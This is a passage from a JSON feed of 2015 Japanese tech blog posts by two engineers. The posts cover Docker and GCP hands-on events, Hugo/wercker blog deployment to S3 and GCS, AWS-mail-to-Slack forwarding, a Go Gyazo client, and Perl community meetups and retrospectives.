Debian(確認した時点でバージョンは 8.2)ツール類が色々入ってる(Available tools)言語も色々入れてくれてる(Go は 1.5 が入ってた)(Language support)Docker on GCE作業用のインスタンスを立ち上げるインスタンスに ssh でつなぐDocker pull & runこの辺りでもいくつかポイントがあったOS 自体の機能がいらない用途なら軽量ディストリビューション Alpine linux の Docker image を使うのオススメインスタンスのメタデータをとってこれる API が用意されている(Storing and Retrieving Instance Metadata)Instance Metadata の詳細についてはハンズオンを行っていただいた大橋さんが後ほど記事にしてまとめてくださるそうなので楽しみに待ってます。その他Docker machine ちょっと触ってみたDocker コマンドの説明DockerHub の注意点Google Container Registryの紹介最後は懇親会でみんなでわいわいしました。ハンズオンの参加は初めてだったんですが、各人が手を動かしたり詰まったところを教え合ったりというのは参加者同士の距離も縮まり一体感があっていいなーと思いました。地元開催ということもあり微力ながら力添えが出来ればと思っておりますので今後も参加していこうかと思います。","link":"https://blog.jigyakkuma.org/2015/11/30/gcpug-shonan00/","isoDate":"2015-11-29T23:23:26.000Z","dateMiliSeconds":1448839406000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog の環境を Hugo + wercker + GCS にしてみた","contentSnippet":"Hugo + wercker + gcs にしてみた！とか言ってますが S3 使ってたのを GCS に変えただけって話です。blogを参考にしていただけるといいかと思います。先日、GCS にデプロイする wercker のstepsを見つけ、早速試してみたのですがうまくいかず。werckerでGCSにデプロイするやつ、なんかうまくいかないなーと思ってたけど.botoファイルをechoで作るときに-eオプション抜けてて改行が出来てなかったっていう初歩的ミスやった...— jigyakkuma (@jigyakkuma_) October 10, 2015というオマヌケなミスでした。以下が現時点で使用している wercker.yml です。これで作成したバケットにデプロイされるところまではよかったんですが、GCS の public 設定がよくわかんなーと思いながら調べてると参考になるblogがあったのでこちらを元に設定。ここをちゃんと読めば書いてそうなのであとで読もうかと思います…次はサイト監視したいなーと思うので、そのあたりで何にしようか検討中です。","link":"https://blog.jigyakkuma.org/2015/10/12/hugo_wercker_gcs/","isoDate":"2015-10-11T16:10:10.000Z","dateMiliSeconds":1444579810000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"AWS からのメールをいい感じに slack に通知するやつ","contentSnippet":"社内とある一言から話は始まった。awsのサポートから返信来たのslackにながしたいんだけどSNSで通知とかできないんだろうか— fujiwara (@fujiwara) September 16, 2015弊社の場合、AWS のアカウントを親アカウント+各プロジェクト毎のアカウント(常時 50 以上はある)といった形で運用しているので AWS SNS を各アカウントに設定するのしんどいのと深淵なる理由により Gmail で受信した AWS のメールを from でフィルタして転送というのもうまくいかなかったので GoogleAppsScript を書いた。これにトリガーを 1 分周期で回しておくといい感じに slack へメールを投げてくれる。こんな感じで通知がきます。やりたかったのはメールヘッダに[X-AMAZON-MAIL-RELAY-TYPE: notification]っていう丁度いい感じのカスタムヘッダがあったのでこれが来たら slack に投げるってのをやってます。社内が Slack になってからコミュニケーションツールであーだこーだすることが増えた気がしますが、作業環境が改善されていくのを体感できるのはけっこう楽しいのですね！[追記]ここの容量制限には[Gmail の読み取りと書き込み（送信以外）]で 50,000 個/日って書いてるけど、どこでひっかかってるんだ…https://docs.google.com/macros/dashboard","link":"https://blog.jigyakkuma.org/2015/09/18/aws-mail-forward/","isoDate":"2015-09-17T23:43:02.000Z","dateMiliSeconds":1442533382000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス（学習事項）・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6！ pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした！！ pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"YAPC::Asia2015 の所感と俺達のこれから","contentSnippet":"とうとう終わってしまった YAPC::Asia、全身全霊でもって楽しませていただきました。トークの振り返りYAPC::Asia2015 はスピーカーとして参加させていただき、貴重な体験をさせていただいたと共に登壇を通して少しでも YAPC::Asia に恩返しできたらという想いでした。YAPC::Asia2015 に登壇させていただいたからこそ感じられたことも合わせてご覧いただければと思います。YAPC::Asia の意義私の周りでよく聞いたり感じたのが「同窓会っぽい」ってとこです。雑感そういえば昨年も YAPC::Asia に参加させていただき、「次回は個人スポンサーとして参加します！！」みたいなことを言ってたのは宣言通り個人スポンサーチケットを購入できたのでそこはよかったです。これからのこと「カンファレンスに参加したいならやりたい人がやればいい！」とは思うものの、簡単にできるものではないし、主催者になりたいわけではないというのが本音ではある。最後にイベントや勉強会にはちょくちょく顔を出していますので見かけましたらお気軽にお声がけいただけると嬉しいです。一緒にわいわいしましょう！！謝辞運営スタッフ個人・企業スポンサースピーカーYAPC::Asia に参加された皆様YAPC::Asia2015 に関わった全ての皆様があってこそ最高のカンファレンスになりましたので末筆となりますが厚く御礼申し上げます。","link":"https://blog.jigyakkuma.org/2015/08/23/yapcasia2015_secondday/","isoDate":"2015-08-23T07:43:26.000Z","dateMiliSeconds":1440315806000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Asia2015 に登壇させていただいたからこそ感じられたこと","contentSnippet":"皆様YAPC 全体を通した感想は明日書くとして、ここでは最後の YAPC::Asia で登壇させていただいた貴重な機会について触れたいと思います。周りの応援振り返ってみると、ここまでこれたのは周りの応援あってこそだなーというのが実感としてありました。@Konboiさん、登壇前の応援や後にお声がけいただいた方々。登壇後の反応トークに足を運んでいただく方々に少しでも楽しんでいただきつつ役に立つ話が出来ればという心情で準備に取り組みました。登壇から見えたもの今回取り上げた取り組みでは不完全なところがあり、そこはしっかりと質疑応答で突っ込まれました。得るもの ＜ 与えるものとなるのが理想であるし、自身のトークがそうなっていなかったと後から気付いたところは非常に反省であると言えます。最後に大きなカンファレンスで一同がワイワイする機会ってそんなにないし、やっぱりみんなでワイワイするのは楽しい。余談Twitter アイコンのステッカー（ぱんつあり/ぱんつなし）を用意しましたのでもし受け取っていただける方はお声がけいただけばお渡しいたします！追記公式ページ URL とスライドは以下からご参照ください。YAPC::Asia2015 それは僕たちのドメイン・ DNS 運用","link":"https://blog.jigyakkuma.org/2015/08/22/yapcasia2015_firstday/","isoDate":"2015-08-21T15:39:14.000Z","dateMiliSeconds":1440171554000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Asia 2015 でドメイン・ DNS の運用について話します","contentSnippet":"いよいよ YAPC::Asia 2015 もいよいよ開催間近ですね。勢いだけでトークを応募させていただき、トーク採択という奇跡が起こって気絶しそうになったのがもう 2 ヶ月も前のこと。早いものですね。詳細については以下のリンクをご覧いただくのが早いかと思いますのでご興味ございましたらクリックをお願いいたします。http://yapcasia.org/2015/talk/show/e8eebd70-f906-11e4-8f91-8ab37d574c3aそれでは YAPC::Asia 2015 でお会いできることを楽しみにしております！！！！！がんばって資料仕上げます！！！！！！１","link":"https://blog.jigyakkuma.org/2015/08/18/yapcasia2015_intro/","isoDate":"2015-08-18T00:07:11.000Z","dateMiliSeconds":1439856431000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog の環境を Hugo + wercker + s3 にしてみた","contentSnippet":"最近 CI を触る機会があるというのとGitHub Pagesの設定をいじっていたら名前解決のところのトラブルでイライラしたのでAWS S3に乗り換えたというメモです。まずは手前で使う CI ですが、Hugo との組み合わせで割と使ってる事例が多いって安直な理由でとりあえずwerckerを使ってみることにしました。参考記事としてdeeeet さんの記事をめちゃ読みました。ほんと先人には感謝ですね。m0t0k1ch1 さんの記事も参考にさせていただいております。blog を octopress から Hugo に乗り換えたメモなので興味がございましたらこちらもご覧ください。それでは各項目で何をしたかザッと書いていきます。準備リポジトリまずリポジトリですが、元となる md ファイルをオープンにしたくなかったのでbitbucketのプライベートリポジトリを使うことにしました。ディレクトリ構成はこんな感じです。.├── archetypes //md ファイルのフォーマット├── config.toml //Theme の設定ファイル├── content│\xa0\xa0 └── post //md ファイル├── public //Hugo で build したファイルが置かれる、リポジトリで管理しないので ignore してる├── static //画像もろもろ│\xa0\xa0 ├── assets│\xa0\xa0 └── images│ └── post //記事に使う画像置き場├─── themes //好きな theme を git submodule で配置└─── wercker.ymlHugoCI 回すまでは手動で build して public ディレクトリに出来た生成物を GitHub Pages 用リポジトリに push するみたいなのやってました。今は新しい記事の作成とローカルで記事のプレビューに使ってるくらいです。wercker冒頭でも書きましたがwerckerを今回は使っています。CircleCIでもよかったのですが、こちらは業務で使う機会があったというのもあり採択しませんでした。それでは wercker の準備ですが、サクッと SignUp したらApplicationsから Application を作っちゃいます。注意点としては筆者の wercker.yml で指定している box は docker 用ではないので「Docker enabled. See our stacks documentation for more details.」のチェックは入れないようにします。GitHubやbitbucketだとリポジトリの指定も簡単だし、deploy key を入れてリポジトリにアクセスできるようにしてくれるので便利。あとは用意した wercker.yml をリポジトリに突っ込みます。以下が用意した yml です。他の CI もそうですが yml 見ればどの CI 使ってるのかがわかっていいですね。box や step はExploreにいろいろ置かれているので必要なものを組み合わせればすぐに使い始められて便利。AWS S3普段 AWS を使ってないのであれば AWS アカウントから作成するのは少々手間ですね…（筆者も今回のために個人の AWS アカウントを作りました）S3 でドメインと同名の bucket を作成、site の hosting を有効にして index document:index.html にしておく作成した bucket に deploy するための IAM アカウントを作成するdeploy できる権限の policy を作成する作成した IAM アカウントに作成した deploy 用 policy をアタッチするとなります。ちなみに IAM でアカウントを作成した際に ID と SECRET が発行されますが、これは wercker に設定するので控えておきます（後ほどでも ID/SECRET は発行できます）。DNSS3 で bucket を作成すると endpoint が表示されるのでそちらに向け先を変えておく。仕上げここまでが下準備となります。ここからは準備したものを流れに沿って設定していきます。werckerApplication > Setting > Environment variablesより、wercker.yml で使う環境変数を設定します。KEY,SECRET は AWS の IAM アカウント作成時に発行した ID/SECRET を入れます。次は Deploy targets を設定します。HerokuやOpenShiftであれば API Key や Token を入れるだけでよしなに Deploy してくれるようですが、それ以外の場合は yml にて Deploy の step でどうにかする感じです。Build が成功すると「Deploy to」というのが出てきて deploy 先を選択しないと deploy されないので target 名と branch を入れて deploy 先を作っておく。後はリポジトリに md ファイルを push してやれば自動で blog に投稿できる！！！！！という算段です。AWS S3を使用したのですが、最終的にはGoogle Cloud Storageに移行したいので GCS 用 step 作ろうかとは思ってます。","link":"https://blog.jigyakkuma.org/2015/08/06/hugo_wercker_s3/","isoDate":"2015-08-06T00:10:22.000Z","dateMiliSeconds":1438819822000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"gyagoyle という Gyazo クライアント作りました","contentSnippet":"gyagoyle 〜 Gyazo client for linux 〜必要に駆られたので作ってみました。jigyakkuma/gyagoyle本家のクライアントツールが Ruby で用意されていたのと、会社で使っている社内 Gyazo のクライアント用によしなに設定したかった(Basic 認証もかかっている関係)ので作りました。mattnさんがすでに同名で作成されてたのでちょっと困りましたね…おぞましい石像に進化した」という感じです。機能はGyazo-for-Linuxを参考にひと通り実装しております(したつもり)。go get で取ってきて実行すれば gyazo.com に upload できるように作ってあるので通常用途でも問題なく使えるようにしました。まだまだ go の書き方や機能部分でイケてないところもあるかと思いますのでご指南いただけますと非常に嬉しく思います。これからもどんどんgo書くぞー","link":"https://blog.jigyakkuma.org/2015/07/09/gyagoyle/","isoDate":"2015-07-08T15:08:31.000Z","dateMiliSeconds":1436368111000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"2015年第二 四半期をふりかえる","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + Kibana4Kibana4入れました。Kibana3もまだ稼働中ですが、Kibana4で十分かなという気分です。Kibana4はすごい便利なので、そのあたりの話もどこかで一度したいです。開発環境の改善OrePAN2::Serverを廃止して、社内モジュールは静的サーバ置いたり、一つサーバでマルチユーザが同居するようなレガシーな開発環境の改善とかもろもろやってました。この辺もあとでエントリ書きたいところ。新卒技術者のメンタリング新卒技術者に対して仕事外で困ってる事とかのお悩みの相談乗ったり、成長を促すお手伝いをしたいたりします。会社としてもメンター制度できたばっかりで、組織的にも自分的にもいろいろ手探り感があるのは確かです。自分が見ている人はかなり優秀で日々成長が見て取れるので、そこをさらに促せるようにしていけたらと思います。書いた記事こう見るとあまりエントリ残してないですね。もう少し書きたいところ。4月勉強会#kichijojipm 吉祥寺.pm #3 に参加してきました。 - 目の前に僕らの道がある技術ubuntu12.04でruby2.2.1のビルド失敗するのはlibffi-devが入ってないから - ふり返る暇なんて無いね$PATHを見やすく表示したい - ふり返る暇なんて無いね5月技術ポートが空いてるか調べたいとき - ふり返る暇なんて無いねサーバ起動時に/etc/init.d/ に設定があるデーモンを自動起動したい - ふり返る暇なんて無いねElasticsearchを1.4以上に上げたらkibana3がElasticsearchにConnection Failedする際の対処 - ふり返る暇なんて無いねポエム縮退運用という考え方 - ふり返る暇なんて無いねあなたは嫌いですか。でも僕は好きです。 - ふり返る暇なんて無いね6月勉強会#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました - 目の前に僕らの道がある技術MySQLのLINEAR KEY パーティションでPKで検索しても遅い場合 - ふり返る暇なんて無いねPerlモジュールのバージョン比較したい - ふり返る暇なんて無いねポエム普段の行動がものをいう - ふり返る暇なんて無いね判断と判断の変更 - ふり返る暇なんて無いね感覚値はあくまで感覚値 - ふり返る暇なんて無いね次の四半期お仕事的にはもう一個の事業部のPSGI/Plack化と開発環境の改善をメインにやってくと思います。ここ最近ちょっといろいろ腹に貯めすぎなので、もう少し心にゆとりをもっていけたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/07/03/2015_2_retrospective","isoDate":"2015-07-03T00:00:00.000Z","dateMiliSeconds":1435881600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"他社の障害対応きにならNight! に行ってきた","contentSnippet":"エンジニア交流会〜他社の障害対応きにならNight!〜 on Zusaarwww.zusaar.com一昨日の話ですが、Gaiaxさんに行ってきました。内容に関してはけっこうグレーな感じなこともあるので、話せないのですが、あー、あるよねー。とか だいぶつらい。。。って話を聞けて楽しかったです。他山の石にしたいです。インシデント管理に関してはちょっと痛いところがあるので見直したいなと思いました。懇親会で深い話が聞けていろいろ学びがありました。すごい楽しかったので次回もあれば参加したいです。寿司 pic.twitter.com/RnLrH5mxlp— masasuzu? (@masasuz) June 30, 2015内容言えないけどすごい為になってる— masasuzu? (@masasuz) June 30, 2015だいぶつらい話聞いてるもの— masasuzu? (@masasuz) June 30, 2015炎上案件だ。。。— masasuzu? (@masasuz) June 30, 2015インシデント管理に関してはちょっと痛いところあるなと思った。— masasuzu? (@masasuz) June 30, 2015なかなかこういう他社の障害事例聞けないので、今日は楽しかった。— masasuzu? (@masasuz) June 30, 2015innodbのデータ圧縮すると並列性が犠牲になるってのは、初耳だったのでちゃんと調べたい。— masasuzu? (@masasuz) June 30, 2015","link":"https://blog.masasuzu.net/entry/2015/07/02/134402","isoDate":"2015-07-02T04:44:02.000Z","dateMiliSeconds":1435812242000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました","contentSnippet":"Gotanda.pm Perl Technology Conference #5 (2015/06/24 19:30〜)gotanda-pm.connpass.comGtanda.pmでLTしてきました。#gotandapm LTの高速化に失敗しました。— masasuzu? (@masasuz) June 24, 2015内容としてはPlack Applicationのアクセスログの話です。アクセスログそのものの話アクセスログの収集の話アクセスログの可視化/集計の話1個目の論点しか話せませんでした。猛省します。次回は事故らずに話したいです。最近Kibana4とElasticsearchを使っていてだいぶアクセスログに限らず ログ解析が捗っているので、その辺も別の機会に話せたらと思います。他の人の発表では、skajiさんの Acme::CPAN::Installerの発表がすごかったです。cpanモジュールをインストール出来るとこんなに速くなるのかと感心しました。業務で使いたいと思うくらいには速かったです。そのほかの人の発表も楽しく聞かせてもらいました。gotandapm参加者の皆さん！吉祥寺.pm4は、まだまだ参加者募集中です！https://t.co/JwGFxDOnXi#kichijojipm #gotandapm— magnoliak (@magnolia_k_) June 24, 2015どうやら吉祥寺.pm 来月開催らしいですよ。","link":"https://blog.masasuzu.net/entry/2015/06/25/184549","isoDate":"2015-06-25T09:45:49.000Z","dateMiliSeconds":1435225549000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GitHub Pages でいっつもハマるのでメモ","contentSnippet":"ブログを github pages に置くのはいいけど、blog の theme を変えた時に repo を一掃しちゃってその度に「あれ 404 のままやん」ってなってるので自分用のメモ。custom domain のファイルを作成し、repo に commit する。echo example.com > CNAME","link":"https://blog.jigyakkuma.org/2015/06/13/gh-pages-cname/","isoDate":"2015-06-12T16:06:27.000Z","dateMiliSeconds":1434125187000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#kichijojipm 吉祥寺.pm #3 に参加してきました。","contentSnippet":"吉祥寺.pm行ってきました。吉祥寺.pm (kichijojipm) #3 : ATNDatnd.org今回はツールチェインがテーマと言うことで、Minillaの話題が2件ほどあって、参考になりました。今回特によかったなと思ったのがpapixさんの新人研修の話でした。ガイアックスさんはここ二年くらいで新人研修を整備し始めたそうで、だいぶ充実した内容をやっていそうなので、こっそり参加したいです。#kichijojipm ガイアックスに新人研修受けに行きたい— masasuzu? (@masasuz) April 17, 2015話の中で研修資料をスライドじゃ無くてドキュメントとして残すってのが、印象に残ってます。OJTが基本なのですが、開発グループのエンジニアの有志が社内勉強会枠の時間*1で新人さんに最低限知っておいて欲しい技術基礎の勉強会を行っています。wikiに残しておいて、次年度使い回せるように + 中途の人が入ってきたときも一通り見れば分かるようにしてます。その辺、アプローチが似ているなと思います。さておき、今回も楽しかったです、上級者向けの話からperl少し書ける人でも役に立つ話まで聞けてレベル感的にも良い感じです。主催のmagnoliakさん、htk291さんありがとうございました。次回の吉祥寺.pm楽しみにしてます。吉祥寺.pm in 五反田楽しみにしてます!!!五反田で吉祥寺.pmとか。— 吉祥寺.pm (@kichijojipm) April 17, 2015参照吉祥寺.pm3終わりました - kichijojipm’s blogkichijojipm.hatenablog.com余談SSID: TMNetwork がいてふいた— masasuzu? (@masasuz) April 17, 2015*1:弊社、毎日終業定時前の1時間は勉強会の時間と会議室が確保されていて、好きにやって良いことになってる。もちろん毎日は開かれない","link":"https://blog.masasuzu.net/entry/2015/04/19/kichijoji.pm-3","isoDate":"2015-04-19T06:59:42.000Z","dateMiliSeconds":1429426782000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第一四半期をふりかえる","contentSnippet":"そろそろ3月も終わりそうなので、軽くまとめてみる。お仕事Slack連携ツール昨年末から1月にかけては、社内のチャットツールをIRCからSlackに移すためにもろもろの連携ツールを書いていました。WevService::Slack::IncomingWebHookはそういう事情で書いたコードです。WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるmasasuzu.hatenablog.jp連携ツール自体は、Irisというプロジェクトコードで、HTTPでSlackへIncoming webhookを投げたり、SlackからOutgoing webhookを受けたりするProxy的なものです。コードは公開してないです。mod_perl to PSGI/Plack2月3月はmod_perlなプロジェクトをPSGI/Plack+Carton化をひたすらしていた感じです。このタスク自体は半期で終わらす予定なので、次の四半期も継続案件です。前回のGotanda.pmで話した件ですね。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道があるmasasuzu.hatenablog.jp書いた記事1月H2データベースの話はGitbucketのDBの調子が悪くていったんデータをダンプしてDBファイルを作り直さなきゃいけなかった時の話のハズ。2014年に使った技術 - 目の前には僕らの道があるsudo -Hと環境変数($PATH)ではまった話 - ふり返る暇なんて無いねH2データベースのダンプ、リストアをする - ふり返る暇なんて無いね#chibapm Chiba.pm #6 に参加してきた - 目の前には僕らの道がある2月tmuxでwindow番号を変更したい - ふり返る暇なんて無いねperl5.16から overloadが\\"overload arg \'\\"\' is invalid \\"みたいなwarningを吐き出した - ふり返る暇なんて無いね情報共有に関してもやもや思ってること - ふり返る暇なんて無いね3月3月はちょっと古めのコードをいろいろいじっててはまっていたらしいですね。Perl 5.18からsmart matchはexperimentalなので使わないで - ふり返る暇なんて無いねとあるプロジェクトのコードのあんちぱたーん - ふり返る暇なんて無いねDebian Packageのバージョンを比較したい。 - ふり返る暇なんて無いね開発二部でLTしてきた #でぶつー - 目の前には僕らの道があるFurl::S3でSSL接続エラーが出る件 - ふり返る暇なんて無いね#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道がある設定と処理をわけるということ - ふり返る暇なんて無いねUbuntu 12.04で/tmpがおかしくてうまく起動しなかった件 - ふり返る暇なんて無いね次の四半期お仕事的には引き続きmod_perlを無くしていく作業を続けていると思います。お仕事外で現状これといってやりたいことはないんですが、最近仕事外のコードをあまり書いてないので、その辺少し改善できたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/03/30/2015_1_retrospective","isoDate":"2015-03-30T01:00:00.000Z","dateMiliSeconds":1427677200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話","contentSnippet":"Gotanda.pm Perl Technology Conference #4 (2015/03/25 19:30〜)gotanda-pm.connpass.comだいぶ昔のmod_perlで動いているプロジェクトをPSGI/Plack化するために現在進行形で作業してるよという話です。直前に書き上げてリハーサル全くしないまま本番で話したので、全然時間が足りなかったです。#gotandapm つらいしか言わずに終わってしまった— masasuzu? (@masasuz) March 25, 2015さて、古いmod_perlなプロジェクトも新しめのプロジェクトと同じスキームに載せて動くように現在進行形で動いているところです。それはそれとして大人のGotanda.pmも面白そうですね。とはいえ、ソンナニ闇ハカカエテナイデスヨ。全然。大人のGotanda.pmとかやって, GXやMFのインフラ部署の人に闇語ってもらいたい #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015ちなみに、新しめのプロジェクトで使っているスキームはそういえば、Gotanda.pm #1で話したくらいに作っていたようです。#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道があるmasasuzu.hatenablog.jp会場をお貸しいただいたGaiaxさんありがとうございました。運営のみなさんもお疲れ様でした。ありがとうございました。Gotanda.pmお疲れ様でした. 会場やUstreamは如何でしたでしょうか. 今回のように, 弊社セミナールームは勉強会会場として貸し出す事も出来ますので, 使ってみたいという方は @__papix__ までご連絡下さい. #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015蛇足ですが、Gaiaxさんのすぐ近くの麺彩房の油そば好きです。五反田ぴーえむ pic.twitter.com/6UBO7Y6fDi— masasuzu? (@masasuz) March 25, 2015","link":"https://blog.masasuzu.net/entry/2015/03/26/gotanda.pm_4","isoDate":"2015-03-26T13:38:13.000Z","dateMiliSeconds":1427377093000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"開発二部でLTしてきた #でぶつー","contentSnippet":"開発二部という社内の部活でLTをしてきました。最近古めのプロジェクトを多少モダンにするタスクをしてるので、そのあたりで得た知見を書いてます。特に何かを批判したいわけではなく、こういうのはよくないから、新しいプロジェクトではこういうことは避けると幸せになりやすいよと言いたいだけです。よくないコードは直すだけです。ただdisって何もしないのはよくないですし、そういうことをしたいわけではないです。","link":"https://blog.masasuzu.net/entry/2015/03/17/220240","isoDate":"2015-03-17T13:02:40.000Z","dateMiliSeconds":1426597360000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"旅する勉強会 tech.kayac meetup #0 に登壇しました","contentSnippet":"皆様、いかがお過ごしでしょうか。そういえば先日こんな勉強会で登壇させていただく機会がございました。旅する勉強会 tech.kayac meetup #0まずは会場まで足を運んでいただきました来場者の方々に深くお礼申し上げます。普段、表立つことが少ない立ち位置なのですが、部署やジャンルをごちゃ混ぜでやるにあたって GoogleApps 